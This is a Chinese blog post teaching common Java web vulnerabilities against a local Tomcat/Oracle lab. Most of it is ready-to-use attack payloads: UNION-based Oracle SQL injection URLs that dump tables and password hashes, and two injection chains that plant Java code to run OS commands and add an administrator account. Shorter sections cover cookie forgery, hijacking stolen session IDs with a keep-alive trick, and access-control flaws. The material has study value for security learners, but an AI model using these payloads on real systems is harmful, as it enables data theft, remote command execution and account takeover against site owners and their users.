javaweb的常见web漏洞

  • A+
所属分类:代码审计
0x01 前言
资料来源:
http://javaweb.org/?p=567
http://zone.wooyun.org/content/19379
http://drops.wooyun.org/tips/57
http://huaidan.org/archives/2437.html
有了前篇文章http://blog.wils0n.cn/?post=10的基础,再看园长的系列才不会那么吃力哦


0x02 常见漏洞

1.sql注入
1.1.实战

sql注入重要还是取决数据库类型,mysql一般大家都练烂了,jsp+oracle组合到时更常见。
下面我们重点讲这个吧:
本地搭建 tomcat和oracle数据库
导入数据:
create table users(id number(4),username char(200),password char(200));
insert into users values(1,'wilson','ba55577590736ef6');
insert into users values(2,'admin','7a57a5a743894a0e');

服务端代码片段:

javaweb的常见web漏洞
id参数都什么没有处理,会有注入。下面简单说一下手工注入

1.order by 确定有 3个字段。

2.看显示位:
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1%20union%20select%20null,%27wilson%27,null%20from%20dual--

javaweb的常见web漏洞


3.获取oracle数据的信息:

当前数据库版本:
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1%20union%20select%20null,(select/**/banner/**/from/**/sys.v_$version/**/where/**/rownum=1),null%20from%20dual--
得到:ID:null username:Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod


当前用户权限:
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1%20union%20select%20null,(select%20*%20from%20session_roles%20where%20rownum=1),null%20from%20dual--
得到:ID:null username:DBA


通过查询日志文件绝对路径,可以判断操作系统平台:
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1%20union%20select%20null,(select/**/member/**/from/**/v$logfile/**/where/**/rownum=1),null%20from%20dual--
得到:ID:null username:D:ORACLEPRODUCT10.2.0ORADATAORCLREDO03.LOG


4.获取数据库中的表:
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1%20union%20select%20null,(select%20table_name%20from%20user_tables%20where%20rownum=1),null%20from%20dual--
获取到一个表 
ID:null username:USERS

http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1%20union%20select%20null,(select%20table_name%20from%20user_tables%20where%20rownum=1%20and%20table_name%3C%3E%27USERS%27),null%20from%20dual--
获取到下个表 
ID:null username:news

5.获取表的字段:
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1%20union%20select%20null,(select%20column_name%20from%20user_tab_columns%20where%20table_name=%27USERS%27%20and%20rownum=1),null%20from%20dual--
第一个字段为id

http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1%20union%20select%20null,(select%20column_name%20from%20user_tab_columns%20where%20table_name=%27USERS%27%20and%20rownum=1%20and%20column_name%3C%3E%27ID%27),null%20from%20dual--
第二个字段为username


http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1%20union%20select%20null,(select%20column_name%20from%20user_tab_columns%20where%20table_name=%27USERS%27%20and%20rownum=1%20and%20column_name%3C%3E%27ID%27and%20column_name%3C%3E%27USERNAME%27),null%20from%20dual--
第三个字段为password



6.获取内容:
可以用||和chr
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1%20union%20select%20null,(select%20id||chr(126)||username||chr(126)||password%20from%20users%20where%20rownum=1),null%20from%20dual--
得到:ID:null username:1~wilson ~ba55577590736ef6

http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1%20union%20select%20null,(select%20id||chr(126)||username||chr(126)||password%20from%20users%20where%20rownum=1%20and%20ID%3C%3E1),null%20from%20dual--
得到:ID:null username:2~admin ~7a57a5a743894a0e


tip:
oracle 不能像mysql 用limit,但是我们可以用嵌套一个子查询语句来达到这个效果:
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1%20union%20select%20null,(Select%20data%20from%20(selEct%20rownum%20as%20limit,id||chr(35)||username||chr(35)||password%20as%20data%20from%20users)%20whEre%20limit%20=2),null%20from%20dual--
得到:ID:null username:2#admin #7a57a5a743894a0e

------------------------------------

1.2.oracle注入执行命令
方法一)
前提:1.仅有create session或者其他普通权限,2.非 oracle 11g[oracle 11g 测试失败]
原理:使用了SYS.DBMS_EXPORT_EXTENSION函数。在oracle上创建Java包LinxUtil,里面创建执行命令函数

1.创建包 
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=1||(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str %2B=stemp%2B"n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual)


2.赋Java权限
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=1||(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual)


3.创建函数
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=1||(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual)

4.赋public执行函数的权限
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=1||(select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual)



5.测试上面的几步是否成功
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=1||(select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD')



6.执行
http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=-1 union select null,(select sys.LinxRunCMD('whoami') from dual),null from dual

javaweb的常见web漏洞



oracle注入执行命令资料来源:http://huaidan.org/archives/2437.html
鬼哥真心牛逼!


方法二)
前提:1.仅有create session或者其他普通权限,2.非 oracle 11g[oracle 11g 测试失败]
原理:dbms_xmlquery.newcontext() public role

http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=1||select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  begin execute immediate ''create or replace and resolve java source named JAVACMDas import java.lang.*;import java.io.*;public  class JAVACMD{public static void execmd(String command) throws IOException{Runtime.getRuntime().exec(command);}}''; commit;  end;') from dual;

http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=1||select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;  begin execute immediate ''create or replace procedure MYJAVACMD(command in varchar) as language java name  ''''JAVACMD.execmd(java.lang.String)''''; ''; commit;end;') from dual;

http://172.16.41.147:8080/sqlidemo/servlet/sqli?id=1||select dbms_xmlquery.newcontext('begin myjavacmd(''net user admin admin /add'')  ;commit;end;') from dual;

javaweb的常见web漏洞


资料来源:http://drops.wooyun.org/tips/57

求助:11g如何执行命令?求大牛指导

javaweb的常见web漏洞
javaweb的常见web漏洞
cookie:
cookie欺骗:
一些网站对于用户是否成功登录不是看用户名与密码是否与数据库里面的匹配,而是看cookies是否为空,或者某个键值是否为ture[如:adminid=ture]。这样的问题的假设就是开发者认为用户能够登录,那么cookies就不会为空。
但是逻辑缺陷很明显,由于cookie是客户端可以给修改的,那么只要能知道用户ID,然后构造一个cookies就可以绕过这样的认证了。


session:
对于seesion我们一般是不能修改,但是我们要了解两个东西:
1.seesionid
以tomcat为例子,我们访问tomcat时候cookie中会有sessionid这个键值。
当我们调用String name = (String)session.getAttribute("name")的时候,其实就是以seesionid为依据的。
所以当我们知道cookie的seesionid时候[方法:xss,内网嗅探,同服shell跨站查看seesion文件等等]我们就可以伪装任意用户了
但是前提是seesion没有失效,所以我们要了解session生命周期

2.Session 生命周期
下面是园长的话:
1、session的默认过期时间是30分钟,可修改的最大时间是1440分钟(1440除以60=24小时=1天)。
2、服务器重启或关闭Session失效。
注:浏览器关闭其实并不会让session失效!因为session是存储在服务器端内存当中的。客户端把浏览器关闭了服务器怎么可能知道?
正确的解释或许应该是浏览器关闭后不会去记忆关闭前客户端和服务器端之间的session信息且服务器端没有将sessionId以Cookie的方式写入到客户端缓存
重新打开浏览器之后并不会带着关闭之前的sessionId去访问服务器URL,服务器从请求中得不到sessionId自然给人的感觉就是session不存在(自己理解的)。

这段话就明白了seesion是会失效的。所以xss平台往往有一个功能叫keepSession,每过一段时间就带着sessionId去请求一次,其实就是在保持session的有效不过期。但是要是管理员点击了注销,那么session被注销,这样照样会导致失效,所以最好的办法是设置邮件通知,及时登入。

我们常常说的xss到的cookie失效了,其实是原理是当前服务器后台验证的是seesion,非cookie。而我们的seesion失效了

++++++++++++++++++++++++

3.越权漏洞
3.1.原理

越权漏洞其实就是没有验证seesion,造成的。

3.2.实战
userid或username常常是越权的突破口。
开发人员一般会创建一个session来保存用户名。当用户在查看、修改个人信息等需要判定用户身份时,就直接从session中获取,而不会在客户端传递,也就避免了篡改。
但是当我们需要用客户端传来的userid或者username,进行用户资料查询,修改个人信息等。
如果没有进行seesion的验证话,常常会造成越权漏洞!

漏洞代码:

javaweb的常见web漏洞
javaweb的常见web漏洞
+++++++++++++++++++++++++
0x03 结语
还有其它很多漏洞,原理和其它脚本差不多就讲了。
文章东西比较基础,但是我也花了好长时间。希望对大家有帮助
最后,有什么错误欢迎指出~

本文始发于微信公众号(T00ls):javaweb的常见web漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: